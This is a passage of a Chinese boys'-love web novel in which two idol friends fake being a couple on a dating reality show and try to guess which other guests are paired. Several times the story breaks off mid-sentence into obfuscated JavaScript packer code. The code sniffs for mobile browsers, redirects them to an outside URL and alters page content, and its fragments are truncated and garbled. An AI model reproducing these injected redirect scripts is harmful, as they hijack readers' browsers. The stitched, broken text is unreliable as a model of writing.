顾一默家境不错,顾家也算是S市叫得上号的新贵,小的时候林露秋和松穆还一起参加过对方的抓周宴。 虽然三方都不记得了——林露秋和松穆是年纪小不记事,顾一默则是完全不知道和两人见过。但这么一点“旧相识”所带来的情分还是不免冲淡了林露秋几日来对节目的排斥情绪。 顾一默见两人态度还算平和,微不可察松了口气,继续道:“为了更好地融入其他嘉宾,也是为了符合二位‘见习情侣’的设定,我们这里准备了两份人设表,需要老师们填写一下。” 说完,抽出文件袋中的两本薄册,递了过去。 镜头也在此时打开。 见到闪着红光的摄像机,两人条件反射绷直了肩背,无缝开启营业模式。 林露秋微侧过脸,打开小册,画面中的笑意浅淡,薄唇轻抿,一举一动都不紧不慢,显得矜贵极了。 松穆也不遑多让,原本对着林露秋展露的几分傻气荡然无存,眉目稍敛,周身气场霎时峭直。 灯光一照,这处不大的房间顿时变成了画报拍摄现场,一利一冷,仿佛同台竞技。 顾一默的声音都变轻了。 “首先,先请两位 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14960321|161041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 写下自己的名字。” 小册是活页的,表面做了塑料挡板,翻开后第一页就是名字,随后跟着各种个人信息、爱好、想法,像是同学录。 松穆是左撇子,桌子又小,写着写着两人的手背就快要碰到一块,被林露秋躲开了。 松穆没忍住瞥了他一眼,发觉这人规规矩矩低着头,似乎半点没在意他。 “......” 收回视线,松穆继续往下写,他签名签惯了,一手字写得飘逸不羁,一捺落笔能划到天上去。 行云流水地把身高体重甚至祖籍政治面貌都填完了,直到翻到下一页,他愣住了。 【您的恋人:】 再往下,分别印着【第一次见面】【告白的地点】【最常去的约会场所】等一系列情侣向问题。 笔尖顿了又顿,悬在半空,半晌落不下去。 顾一默:“毕竟是‘见习情侣’嘛,得先建立一个情侣身份才算合理,二位可以一起商量问题的结果。” 反正就算吵起来了后期也能剪。 林露秋没听出她的未言之意,对着问题发了会儿呆,随后一笔一划,认认真真在【恋人】那栏写下了松穆的名字。 松穆和他同时收笔,左右看着并排的两个名字,心头忽的涌起一阵酸麻,像是被温水淌过,熨帖而肿胀。 他不知道自己这是怎么了,也许是为了和朋友假扮而感到情侣尴尬,一瞬间只觉得坐立难安,连带着触碰到手背的衣带都变得滚烫,热度一路攀至耳后,灼红了肌肤。 水笔在指间转了又转,一时不察蹭到了墨汁,晕开点点污渍,松穆的目光再一次落回了纸张,细细的,描摹着林露秋的名字。 他想,这个人连名字都是好看的。 心头那点涟漪还没抚平,林露秋忽然开口:“我们什么时候认识的?” 松穆下意识:“娘胎里。” 林露秋扭头:“......?” 顾一默:“啊,这个,呃...不太合法吧?” “不是。”松穆找补,“我是说,干脆就从出生起就认识算了?反正我俩同龄。” 林露秋睨了他一眼:“也行。” 说完,两人都在年份后写下【二十七年】。 半遮半掩的,一份情侣表就这么填完了大半,林露秋回头一看,竟然写的还都是真事。 左右从小一起长大,有些问题哪怕闭着眼都能答出来,本以为这个环节安安稳稳就能过去了,谁曾想松穆忽然开口。 “谁先表的白......?那就写你喽。” 林露秋基本不反驳他的答案,松穆等了几秒没听到异议,便动了笔尖。 可一个“木”字才写了两划,桌子上倏地放下了一支笔。 “咔哒——” 林露秋抱着臂,挑眉,“为什么不是你?” 松穆不解:“为什么是我?” 这不随便写一个人就行了么。 两人静静对视着。 时间渐渐流逝,松穆眼中的困顿愈发浓厚,而林露秋的表情也更为泠然。 片刻,他意味不明笑了声,“哦,是么。” 他拿回笔,宛如无事发生般,利落写下了自己的名字。 就是力道没控制好,差点把纸张划破。 松穆看着看着,浑身的警铃突然一齐响了起来,震得他头皮发麻。 等等,林露秋是不是生气了?为什么?难道是觉得先告白会伤到自尊心?还是单纯不想被自己比下去?那现在怎么办,微信发几个红包哄一哄? 可行是可行。 ......但是他还在黑名单啊!!! 5. 手串 汗流浃背地把林露秋和松穆送出后采室,顾一默呼吸都快停了。 前半段分明还挺顺利的,后期两人忽然像是翻了脸,全程低气压,搞得她听什么话都像在阴阳怪气指桑骂槐。 《恋爱记录手册》给了林露秋和松穆三天的磨合时间,这三天内节目组时不时会递来一些需要两人一起合作的小任务,像是一起制作一杯饮品之类的。 内容都没什么含金量,后期会放在彩蛋栏目里。 说是要磨合,但节目组也不可能真的放任两个人自由接触,于是几天内镜头跟拍不断,倒是没怎么留出真正独处的时间。 甚至为了避免冲突,林露秋和松穆的房间被安排在了走廊两侧,要是想串门,中途能遇上半个节目的工作人员。 无奈之下,只能选择了线上交流。 【林露秋:今天早饭吃什么?】 【高羡:鸡蛋饼、油条、皮蛋瘦肉粥】 【高羡:[图片]】 【林露秋:哦】 过了几分钟。 【高羡:松穆说看到了布丁,问你要不要来一份】 【林露秋:不要】 【高羡:水果呢?】 【林露秋:不要】 【林露秋:我今天不吃早饭】 片刻后。 【高羡:[转发聊天记录]】 林露秋点开来看了眼。 【AKA.夜光小山雀批发:他怎么又不吃早饭?】 【AKA.夜光小山雀批发:你劝劝他,本来胃就不好,还不吃早饭】 【AKA.夜光小山雀批发:算了,我打包一份给他吧,让他快点起床洗漱】 紧跟着,是高羡发来的一千块转账。 【林露秋:?】 【高羡:松穆给你的,滑跪费吧】 【林露秋:不吃,不起,不接受滑跪】 【林露秋:[已收款]】 【高羡:他说已经在上来了,叫你留门】 【高羡:[小狗哭泣.JPG]】 【高羡:(不是我发的)】 【林露秋:不留,不开,不接待。】 这次对面许久没有回复。 林露秋摆弄着手机,刚在床上百无聊赖地翻了个身,下一秒,掌心一震,他低头,是高羡再忍受不了的怒吼哀嚎。 【高羡:......】 【高羡:你俩有病吧?】 【高羡:把我当信使当上瘾了呗?】 【高羡:[猪猪打拳.JPG]】 【高羡:要是真吵架了能不能硬气点直接漂流瓶联系,不要再来磨炼我的心智?】 【高羡:每次都这样,我一点都不想参与你们之间的play!】 【高羡:[一日一苹果,男同远离我.JPG]】 大抵是被那头松穆的一些登神发言创得头晕眼花,高羡手指翻飞,一条接一条的消息接连不断,看得林露秋额角直跳。 他赶紧堵住这张毫无约束的嘴。 【林露秋:[点击确认收款]】 【高羡:[已收款]】 【高羡:爱你哦臭贝贝/么么哒】 【高羡:你俩离婚我跟你/比心/嘴唇/玫瑰】 【林露秋:...没事少上点网。】 【林露秋:他又说什么了?】 高羡发来一张截图。 【AKA.夜光小山雀批发:我快到了】 【AKA.夜光小山雀批发:真不开门?】 【AKA.夜光小山雀批发:小啾我错了,我不该和你吵架的/跪下】 【AKA.夜光小山雀批发:我不应该凶你,更不该质疑我们之间的友情】 【AKA.夜光小山雀批发:我一出门就后悔了,真的】 【AKA.夜光小山雀批发:这几天我一直很想你】 【AKA.夜光小山雀批发:对了,我还带了特产回来,你开个门我送过来好不好?】 【AKA.夜光小山雀批发:[小狗求饶.JPG]】 截图有点长,林露秋一边看唇角边止不住上扬,隔着屏幕他仿佛都能看到对方那大狗依人的模样。 松穆在熟人面前一向不会掩饰自己对林露秋的珍视与喜爱,他性子直,有些话就算说出口也不觉得有什么,但从旁观的视角看来总觉得分外肉麻。 至少高羡是看一次难受一次。 图片里还有一段,应该是高羡截的时候没注意,一起发过来了。 【AKA.夜光小山雀批发:[点击确认收款]】 【AKA.夜光小山雀批发:把这段话发过去,钱自己拿个零头,剩下的给小啾】 【高羡:[已收款]】 【高羡:包在兄弟身上!】 【AKA.夜光小山雀批发:/握手】 “......” 高羡许是也发现了,欲盖弥彰般撤回消息,又往后重新补了一张干净的。 【高羡:[图片]】 【高羡:[点击确认收款]】 【高羡:还是松穆给的】 林露秋笑了声,拿起手机,发了条语音过去:“崽,胆儿肥了,现在都敢两头吃了啊?” 高羡忙不迭把“赃款”吐了出来,“大人明鉴!是祺贵人,都是祺贵人威胁老奴啊——” 正巧门口传来敲门声,林露秋捏着语音条下床,“行了,这次放过你了,松穆来了。” 发完这句,林露秋拉开房门。 不出意外,一道高大的人影正杵在走廊,一身黑衣,兜帽盖住了大半张脸,见门开了,阴影下的双眸顿时晶亮地望了过来。 他像是怕林露秋关门,先抬臂卡在了门框上,见对方没有驱逐的意思,才得寸进尺般慢慢蹭了进去。 “小啾......”松穆黏黏糊糊喊着林露秋的小名,空着的那只手还勾了勾他的小指,“我把早饭带上来了,稍微吃点好不好?” 林露秋没应,但也没抽手,就这么虚虚勾着松穆进了房间。 松穆松了口气,反手关上房门。 林露秋醒了有一会儿了,就是犯懒不想吃饭,他打了个哈欠,问:“都拿了些什么?” 把手里的大袋子放到桌上,松穆将东西一样样摆出来,“锅贴、蛋饼、豆腐脑,还有牛奶和水果。”最下面则是他从隔壁市带回来的伴手礼,“这酒是人家自己家酿的,老手艺了,就是度数比较高,别多喝。” 梅子酒小小一瓶,瓶口挂着酿造的日期,松穆专门挑了林露秋生日那天。 一打开木塞,就被浓郁的酒味熏了下,林露秋试探性抿了一口,当即眯起了眼,“确实烈。” 松穆把木塞摁了回去,没让林露秋空腹多喝,他又拿出一盒糕点、一瓶乳膏和一串手链。 都是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他皮肤白,衣服也白,衬得腕上的平安串更加艳红吸睛。 Cody瞅了眼松穆身上挂着的各种链子,又瞅了瞅林露秋堪称极简的搭配,不免出声:“您要不要再搭点什么饰品?” 这么一眼晃过去,两人都不像在同一个图层。 林露秋视线扫了圈,干脆伸手从松穆身上解开一条链条,挂在了自己脖间。 他动作很快,以至于在场所有人都没反应过来。 似乎不知道自己做了什么,林露秋重新理好衣领,迈步,等到了门口,才侧身,轻轻扬了下下巴,“还不走?” 松穆回神,几步跟了上去。 留下一屋目瞪口呆的工作人员。 嘶...这俩的关系,是算好了还是没好啊......? . 别墅是分批进的,林露秋和松穆出乎意料的是第一对。 毕竟是情感类综艺,为了给嘉宾更好的体验感,节目组在录制开始后就将摄像都撤走了,只剩下一些固定机位。 加之没有主持人cue流程,于是最先迈入镜头的林露秋和松穆便承担起了介绍别墅以及热场的重任。 到底是出道多年的艺人,两人在镜头前堪称如鱼得水,大概客套地聊了十分钟左右,别墅房门再次打开。 两人同时望去。 最先入眼的,是一袭预想之外的白发长裙。 当那双桃花似的眸子扫过来时,林露秋和松穆皆是动作一滞。 6. 配对 来人很高,一头及腰长发被利落梳到了耳后,用丝带绑起,他五官锋利,带有不容置喙的攻击性,虽是一身女装,却不显半分女气,反倒格外飒爽。 鞋跟落在地板上发出清脆的哒哒声,尤卜一手搭在胸口,长长的美甲在灯光下泛着细碎的光,他微微屈膝,优雅地朝两人行了个礼。 “上午好。”他噙着笑,声音没有被刻意修饰过,语调舒缓,听得很舒服。 林露秋很快调整好表情,起身和对方问好。 他的确对有嘉宾身着女装来参加节目感到诧异,却不至于生出什么别的情绪。 说白了自己也管不着。 松穆和他想的差不多,反正节目组不介意,又影响不到别人,那人家爱怎么穿就怎么穿呗。 总比裸奔好吧。 不知道顾一默是什么打算,三对情侣嘉宾被拆开入场,应该是提前叮嘱过了,六人落座后并未对其他人表露出特别的情绪,仿佛从未见过面。 林露秋和松穆偷偷对视了一眼,懂了。 这是要一上来先考考他们。 果不其然,在一轮简单的自我介绍过后,林露秋和松穆的手机同时响了起来。 节目组发来第一条任务短信。 【欢迎入住记录小屋,第一次见面,不知道你对身边的同伴是否已经有了一些了解? 接下来是自由活动时间,请根据收集到的信息推测嘉宾都是与谁来到的这里,答案将在晚饭后进行核验。 奖品会根据回答的准确率进行派发。】 信息不是很短,文字占据了半个屏幕,第一眼扫过去不像是恋综短信,倒像误入了哪家剧本杀。 林露秋看完,饶有兴致地勾了下唇。 规则中并未提及奖品的具体内容和针对对象,也就是说除了林露秋和松穆,其他人可能也带有任务。 要是真的以配对结果作为任务评判标准,那么林露秋他们所看到的一切,便都需要斟酌着打上一个问号。 ——那些暗度陈仓的微妙瞬间,究竟是情侣间的真情流露,还是专门演给他们看,以混淆视听的烟雾弹? 再抬眼,六位嘉宾各个面色如常,似乎对他们的短信内容毫不在意。 既然是节目的一环,林露秋不打算现在就打破节目组塑造出的神秘感,转而对众人道:“大家是不是还没参观过别墅?要不一起去看看房间吧,熟悉一下。” 松穆接话:“是啊,后面估计还得分房间。” 行李还没送来,说明嘉宾们的房间未定,综艺不可能设置无用的空缺,在房间上做文章是跑不掉了。 不过别墅本身条件就很好,房间就算再怎么样也差不到哪里去。 只是为了增添一点入住的趣味性罢了。 众人没什么异议,纷纷起身。 林露秋和松穆坠在最后,偷偷观察他们的反应。 只是可惜,任务才刚开始,大家的警惕性都很高,均一个人闷着头往前走,丝毫没给其余人分出多余的视线。 有几位或许是怕自己露馅,还故意盯着脚下,从摄像的角度大抵只能拍到一个圆润的头顶,瞧着倒是有趣。 林露秋和松穆的记录手册被一起带了进来,林露秋把本子翻到最后一页用小臂垫着,随后摁下水笔开始书写。 他记忆不错,六个人名大致都记得,只在某两位嘉宾身上卡了壳。 眼见没人注意到这里,林露秋拿笔杆戳了戳离自己有几步远,想靠近又找不到机会的松穆,悄声问:“你还记得那两位的名字怎么写吗?”他隔空点了两道背影。 松穆顺势靠了过去,学着林露秋的样子,把字写下来给他看。 因为有一个是生僻字,林露秋没见过,走路又晃得眼晕,他眯着眼,下意识伸手握住了松穆的小臂。 两人同时停下脚步。 头顶就是一个摄像头,林露秋余光注意到后飞快收回手,他对着白纸上那个大大的字,一笔一划照抄。 忍了忍,还是没忍住,问:“你怎么认得这个字的?” 俩人从小都在同一个班级,也没见哪个老师教过。 松穆说:“书上看到的。”后面还有半句,“就你送的那本”,被他咽回去了。 林露秋“哦”了声,没多想。 等写完名字,其他六个人已经走出一段距离了。 许是也知道他们需要时间商量,六人没有打扰他们,默契地留出了空间。 当然,也可能只是想短暂地躲开林露秋和松穆,偷偷和自己对象独处。 林露秋索性开始和松穆讨论,“你有什么头绪吗?” 松穆摇头:“不好说。” 主要是他们比较特殊,六个人三对情侣,但是只有一种性别,这大大增加了配对的难度。 更何况攻受属性什么的都说不准,他们也没法在镜头前直接议论素人到底是1是0,显得不太尊重。 左右为难,只能尽量隐晦些。 可林露秋想着想着,又发现了一个新问题。 他从小到大只喜欢过松穆一个,没怎么接触过这个圈子,松穆又是个“直男”,俩人别说对别人了,就算对对方都响不起一点gay达。 这真能猜出来? 林露秋摇摇头,把多余的想法先抛在脑后,继续补充嘉宾们的资料。 他唰唰落笔,一时间走廊上只能听到笔尖在纸张上划过的声响。 尤卜,欧站主播,今年26岁,喜欢化妆和女装。 柯响,欧站主播,今年23岁,长得很高冷,性子倒是不算静,偶尔冒出点冷笑话。 隗立宵,现在在欧站财务部工作,23岁,笑起来很阳光,开朗热情,像金毛。 殷潚,欧站产品部部员,23岁,轻微近视,带着一副眼镜,有点冷,不爱对视。 温白,欧站主播,26岁,头发微卷,人和名字一样温温柔柔的。 薛常,游戏公司老板,28岁,性格很沉稳,不过没什么压迫感。 林露秋写的内容不多,他拿笔盖点了其中三个名字,“尤卜、柯响还有温白,他们都是欧站的主播,可能以前就认识。同理殷潚和隗立宵,他们也都在欧站工作,然后这几位......他们同龄,三个人还都是S市本地人。” 松穆不怎么打游戏,对薛常的公司不熟,他拿手机现场搜了下,把页面结果给林露秋看,“糖罐网络,就《规则代号》他们家,这几年一直和欧站有合作。” 《规则代号》,一款火了几年的顶流二游,哪怕是圈外人也有所耳闻。 顺着规则代号在欧站内部搜索了一圈,除了翻到去年在欧站年中庆典布置的展台,相关联主播第一页跳出来的竟然就是柯响的ID。 叫响可乐,粉丝数有足足七位数。 还想往下看,这时,屏幕上方突然跳出来一条节目组发来的紧急短信,大致意思就是禁止两人使用网络搜索。 换句话说,网上还真能查到几人的恋爱情况。 松穆乖乖退出应用,他接过林露秋手中的笔,在三位主播的名字边上打了个小圈,“我估计三选二能出来一对。” 林露秋没反驳,算是默认了松穆的想法。 “现在连一些下意识的举动都不太能作为参考了。”林露秋说。 眼神可以回避,对话可以操作,可下意识的反应做不了假,因而林露秋一直在等待突发情况的出现。 但根据眼下已知的信息,甚至更虚无缥缈一点,只看六人之间的氛围,林露秋就默默更改了判断标准。 “为什么?”松穆下意识反问,下一秒自己先反应过来了,“啊......对,他们说不定都认识。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14960323|161041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就是不知道关系怎么样。 六人没有聚在一起,三三两两分开了,林露秋和松穆也决定兵分两路,前者走上二楼,随手推开一扇半掩的门。 里面站着三位,殷潚、柯响和隗立宵,其中柯响和隗立宵离得比较近,并肩站在一块,似乎是在说话。 见林露秋来了,三人没什么特别的反应,不避不让,就这么维持着原先的姿势冲他点了下头,算是打招呼。 隗立宵天生自来熟,给他指向楼下,“小秋哥,快来看,楼下有两只小猫在爬树!” 林露秋凑过去,小猫动作还挺快,一转眼窜没了,只在树枝边缘露出了一点尾巴尖。 “乡下的猫原来动作这么灵活。”林露秋感叹了一句,“我们小区之前也有几只流浪猫,整天懒洋洋地趴在地上晒太阳,性子挺温和的,就是没什么眼力见,不让道,后来有的业主被弄烦了,一起商量着做了个决定。” 隗立宵猜测:“送走了?” “不是。”林露秋说,“那几位经常被碰瓷的业主一气之下直接把猫抱回家了,现在都隔三差五会在业主群晒猫呢。” “挺好的,也是遇到好人了。” “是啊。我本来也想养一只的,可惜实在抽不出精力,再说毕竟也是个生命,总怕自己负不了责。”林露秋笑了声,而后不动声色引出话题,“你们呢,喜欢宠物吗?” 隗立宵说:“我喜欢猫,但也没养过。”他的理由和林露秋差不多。 柯响对猫猫狗狗没什么兴趣,“不过家里倒是养了一只乌龟,也不需要操心,按时换换水倒点吃的就行了。” “乌龟啊......也是一个不错的选择。”隗立宵琢磨了下,忽然扭头叫殷潚,“小潚,我们在家养只乌龟怎么样?” 林露秋:“?” 殷潚的话很少,他一进房间就兀自蹲在一旁玩积木了,闻言抬头,淡淡扫了隗立宵一眼,没什么情绪开口:“我喜欢狗。” 隗立宵面上苦恼:“可是狗不太方便养哎。” “没关系。”殷潚摇头,收回视线继续做着自己手里的事情,“我家有一条了。” 隗立宵哎呀了一声,“是么,那我只能自己养乌龟了。” 柯响:“你可以来我家养。” 隗立宵:“不太方便吧?” 柯响:“没事,小潚不会介意的。” 隗立宵:“那太好了。” 两个人又凑在一块叽叽喳喳开始聊乌龟的养护指南了。 听了全程的林露秋再次:? 不是,你们三位是什么关系? ......? 好在林露秋的表情管理一直不错,他艰难保持着礼貌又得体的微笑,等来了另一位嘉宾。 “小林老师您也在啊。”温白探头进来,看到林露秋先是惊喜了一瞬,而后有些抱歉,“不好意思打扰你们了,不过我想找一下小潚。” 殷潚看到是他,放下手中的东西,一言不发起身,甚至离开前还朝柯响和隗立宵鞠了一躬。 林露秋愣愣站在那里,被很轻地握了下手。 殷潚跑到温白身边,顺手带上了门。 在门彻底关上前,林露秋隐约听到两人的交谈声。 “我觉得三楼有间房不错,我们今晚睡那里怎么样?” “嗯好,都听你的。” “......” . 十分钟后,林露秋和松穆在一楼书房重新碰头。 两人对着桌上摊开的两本记录手册,久久没有言语。 “......”林露秋:“你有什么进展吗?” 身侧的人面色深沉,“有一点吧。” “什么?说来听听。” 松穆叹了口气,语调怅然:“我现在看谁都像一对了。” 7. 般配 林露秋鲜少有对松穆这么感同身受的时刻。 他只能干巴巴安慰:“......至少他们六个都是有趣的人。” 否则也不会联合起来演这么一出。 松穆:“哈哈。” 然后两人再次低头,和白纸上六个名字大眼瞪小眼。 松穆不自觉开始想:“节目播出后我们俩再回头看这一段会不会显得很傻?” 林露秋:“放心吧,肯定会的。” 别墅隔音很好,房门一关,将其他人的存在都隔绝了开来。摄像头下,红到发紫的两位顶流爱豆肩碰着肩,头挨着头,一起刻苦地钻研男同爱情。 “我觉得他俩可能是一对。” “嘶,可我觉得是他俩哎。” “他俩?嗯...他俩看起来都......我是说他俩都挺高的,会不会拆开看比较好?” “......” 林露秋见松穆面露难色,小声道,“我会不会刻板印象了?” 松穆委婉表示:“我的知识储备也比较薄弱。” 他什么都分不清。 “算了。”林露秋干脆把手册合上,“我们和他们凑一块儿吧,说不定还能灵光乍现一下。” 要是就他们两个人在这里硬猜,指不定最后把人家小情侣全拆光了。 书房有一面巨大的玻璃展示柜,两人走过去,一前一后映照出两道贴近的身影。 松穆看了眼,走几步,又看了眼,随后忽然伸手,拉住了林露秋。 手腕上传来一股拉力,林露秋没有准备,踉跄着向后倒去,就这么直直撞进了松穆的怀里。 松穆习惯性搂住人,一手环在林露秋腰前,对着玻璃左瞧右瞧。 他没头没脑来了一句:“我俩也挺配的啊。” 这脸,这身段,往那一站看起来就像一对。 要不是顾忌着在录节目,松穆高低要和林露秋拍几张双人合照。 松穆照镜子喜欢稍微低头,这会儿林露秋就在他身前,说话间呼吸相错,热气喷洒耳廓,痒得林露秋半边身子都霎时发烫。 他紧绷着才勉强站直身体,面上倒是装着无所谓,挣开松穆的臂弯,偏头睨了人一眼,“哪里配了?” 林露秋一害羞就上脸,他眼皮上掀,眼尾泛着淡淡的红,像是白玉上抹开的一点胭脂,晃得人移不开眼。 松穆还以为他是被自己气的,张了张嘴,下意识就要道歉,但林露秋这样又实在太好看了,他目光一落下,脑海跟着空了,最后竟然什么都没说出来。 林露秋对上他的视线就知道这人又在走神了,于是没什么好气地把手册往松穆胸前一拍,“保管好。” 松穆抱好两本本子,还在盯着林露秋看。 他总是这样,在林露秋面前时不时会出现一种“别扭”的状态,仿佛连意识都不是自己的了,迟钝又茫然。 想亲近,但等真的触碰到了对方,又觉得古怪,因而变得畏手畏脚。 最初松穆只以为是自己的叛逆期与众不同,别人针对父母,他针对兄弟,后来随着年龄一点点增长,这样的情况非但没有缓解,反倒愈演愈烈。 直到现在,他光是和对方站在一块,都像是被勾了魂魄。 最后连自己怎么出的门都不知道。 等回了大部队,松穆才回神,暗自嘟囔了一句:“哪里不配了?” 声音太轻,谁都没有听到。 别墅总共五层,地下暂不开放,第二、三层安置卧室,共四间,面积都很大,内部设有独立卫浴、小书房和衣帽间,几乎算得上是一间小公寓。 床也很大,要是两人贴边睡,中间还能开一家蜜雪冰城。 八个人说说笑笑参观完别墅,又绕回了一楼。 尤卜的裙子做了很多绑带设计,在拐角的时候一不小心挂在了栏杆上,薛常就在他身边,出声拦了一下。 “小心。” 薛常侧身让其他人先走,而后弯下腰,动作轻柔地替尤卜解开缠绕的结。 尤卜哎呀了一声,担忧道:“我的裙子没有乱吧?真是不好意思,我应该多注意一些的。” 薛常将散开的丝带重新打好,笑了笑,“没有乱,不用道歉。” 尤卜就抬手半捂着嘴,眉眼弯弯向他道谢,“麻烦哥哥了。” 插曲过后,两人礼貌地走到了队伍两端,尤卜和温白继续着刚才的话题,薛常则开始和柯响聊天。 “东西已经到家了吧,有看吗?” 柯响:“嗯,刚拆,不过还没仔细翻过......你这边急吗?” 薛常:“倒也不急。没事,等回家再说吧。” 柯响:“行。” 众人交谈的声音都不大,表情也自然,叫人看不出有没有刻意捏造的成分。 林露秋夹在所有人中间,一边和隗立宵、殷潚聊天,一边还要分神偷听别地的动静,额角隐隐发烫。 松穆已经彻底放弃从众人的交互中观察出什么了,他的注意力眼下全都放在了林露秋身上,手上老老实实端着两本活页册,亦步亦趋跟在后面。 殷潚对隗立宵那边的话题似乎兴趣不大,待了一会儿就走了,转而走到松穆身边,盯着他看。 松穆一扭头,冷不丁对上两个反光的镜片,差点反手把本子拍过去。 深吸了一口气,他才尽可能和善地开口:“你好?” 殷潚:“你好。”然后继续盯。 “......” 松穆拿不准对方的意图,又不好冷场,绞尽脑汁开始思索和第一次见面的人说什么比较合适。 还没憋出个所以然来,殷潚先一步道:“你们在一起多久了?” 松穆:“啊?” 殷潚:“这家情侣民宿还挺火的,我们六个好不容易才订到房间,你们呢?是放假了出来约会的吗?” 松穆心想坏了,这怎么还能触发隐藏剧本。 他随口胡谄:“也不算放假吧,我和我对象都是自由职业,正好最近都没工作,干脆一起出来度假了。主要是他喜欢这家的氛围。” 一段话说的顺口,但也是说完才后知后觉有点臊人。 把兄弟说成对象,确实叫人不太好意思...... 松穆心虚地摸了摸鼻尖。 其他人不知何时停下了话头,隗立宵两眼放光地凑了过来,追问:“自由职业?听起来好酷哦,所以穆哥,你和小秋哥到底在一起多久了?谁追的谁啊?” 林露秋被摁到了沙发上,和松穆排排坐,六人面对他们围了一圈,活像三堂会审。 松穆被迫进入角色:“我们从小认识的,不过一直以来都没捅破窗户纸,所以前段时间才在一起。至于谁追的谁......” 他偷偷看了眼林露秋,发觉对方并没有想要插话的意图,于是干咳了一声,继续道:“是我。” 松穆说,“是我先喜欢的他。” 话音刚落,周遭很有眼力见地响起起哄声,许是被氛围感染,松穆也跟着笑了起来,他抿着唇,唇角却是上翘的,掌心紧张地搓着脖子,就好像真的成了一个刚告白成功的毛头小子。 纯情而局促。 林露秋和他对视了一眼,而后低头拨弄手串。 好吧,不得不承认,虽然才刚开始录制,但他已经喜欢上这个综艺了。 . 顾一默请来的六位嘉宾真的很有默契,分明也没有提前对过戏,话语来回间竟然自己把故事背景完成了。 简单概括一下,就是他们八人都是来情侣民宿度假的游客,这家民宿环境好服务也周到,在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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林露秋闻言也有些心有余悸,“那还是得小心点。” 担心温白一个人忙不过来,薛常也跟去帮忙。 尤卜虽然会烧饭,可他长美甲不太方便,大家就没让他动弹。 尤卜指尖卷起披在肩前的一缕长发,笑眯眯道:“怎么都这么好心,那我这几周岂不是都可以坐着享福了?” 其他人都觉得没什么所谓。 尤卜问了句“是么?”然后便敛着眸子收声了,不知道在想些什么。 厨房开始忙起来了,林露秋他们也不好闲着,抓紧时间收拾餐桌。 脖间的链条垂下来时经常会打到小臂,林露秋嫌影响动作,干脆抬手给脱了下来。 松穆瞥见,走过去自然地将链条重新安回自己衣服上。 厨房还有些餐具需要清洗,殷潚他们都过去了,这会儿身边没有其他人,松穆问林露秋:“有喜欢的房间吗?” 林露秋动作不停:“都不错,硬要说的话,就二楼南面那间吧?采光好,飘窗也漂亮。” 最重要的是,那间房间的布局和林露秋自己房间的特别像,就连色调和选的家具都差不多,让他感觉很亲切。 松穆显然也想到了这一点,他脱口而出:“确实,而且你房间不——”在摄像头的红光以及林露秋危险的视线中,松穆脑中警铃骤然响起,紧急改口。 “——不如这里的吧。” “......” 四目相对,林露秋咬着牙,笑了一声。 他说,“嗯,对,不如,也不如你的房间。” 8. 关系 松穆自觉失言,老老实实低头干活。 但同时他也忍不住在心中腹诽。 ——他和林露秋又不是什么见不得人的关系,非得藏着掖着吗? 这么些年,他连找林露秋吃个饭都要东躲西藏,哪怕身处同一个活动也不能互动,最光明正大的一次竟然还是之前的合作舞台,跳那支连手都牵不到的双人舞。 松穆知道两家粉圈常年不和,也明白林露秋的顾虑,因而感到更为懊恼。 早知道他就应该想尽一切办法和林露秋同一个公司。 早知道当初就不应该和对方吵那一架! 两人吵架是常有的事,谁都没有想到唯独那一次,一吵吵出了这么大个窟窿。 以至于现在补都补不上。 . 温白的手艺的确很好,一桌菜烧得色香味俱全,林露秋都比平时多添了半碗饭。 冰箱里冰着一瓶葡萄汁,每个人都倒了点,碰了个杯,算是庆祝。 酒足饭饱,众人开始犯食困,林露秋反手支着下巴,眼尾微垂。 他咬字已经有点含糊了,好奇问道:“你们之前就认识的吗?我最开始真的没想到,还以为大家都是第一次见面。” 已经一起度过了一个下午,林露秋和他们的距离感渐消,说起话来也不再那么端着举着,放松了很多。 “很意外吧?”温白笑,“其实原本我们也没想到。” 《恋爱记录手册》全节目上下都和顾家有点关系,最初顾一默联系嘉宾的时候并不顺利,主要大家都是素人,没有在镜头前暴露信息的习惯,后来辗转一问,索性把这互相认识的六个人打包勾来了。 方便又省心。 最主要是帅。 “而且也不算第一次见。”温白说,“我们经常刷到你们两个的视频,舞台和直播切片都有,很好看。” 林露秋于是又和他碰了一杯,玻璃相撞发出清脆细响。 和预想中的情形很不一样,六人并未对林露秋和松穆展现出别样的态度,也从不过问他们的职业,就好像大家真的只是在一起度假的普通旅客,平淡而安逸。 林露秋胃不好,冰果汁只喝了半杯就被松穆换成了温白开。 他倒是想反抗,可镜头对着拍,他只好由着松穆的意,还得假模假样冲他道谢。 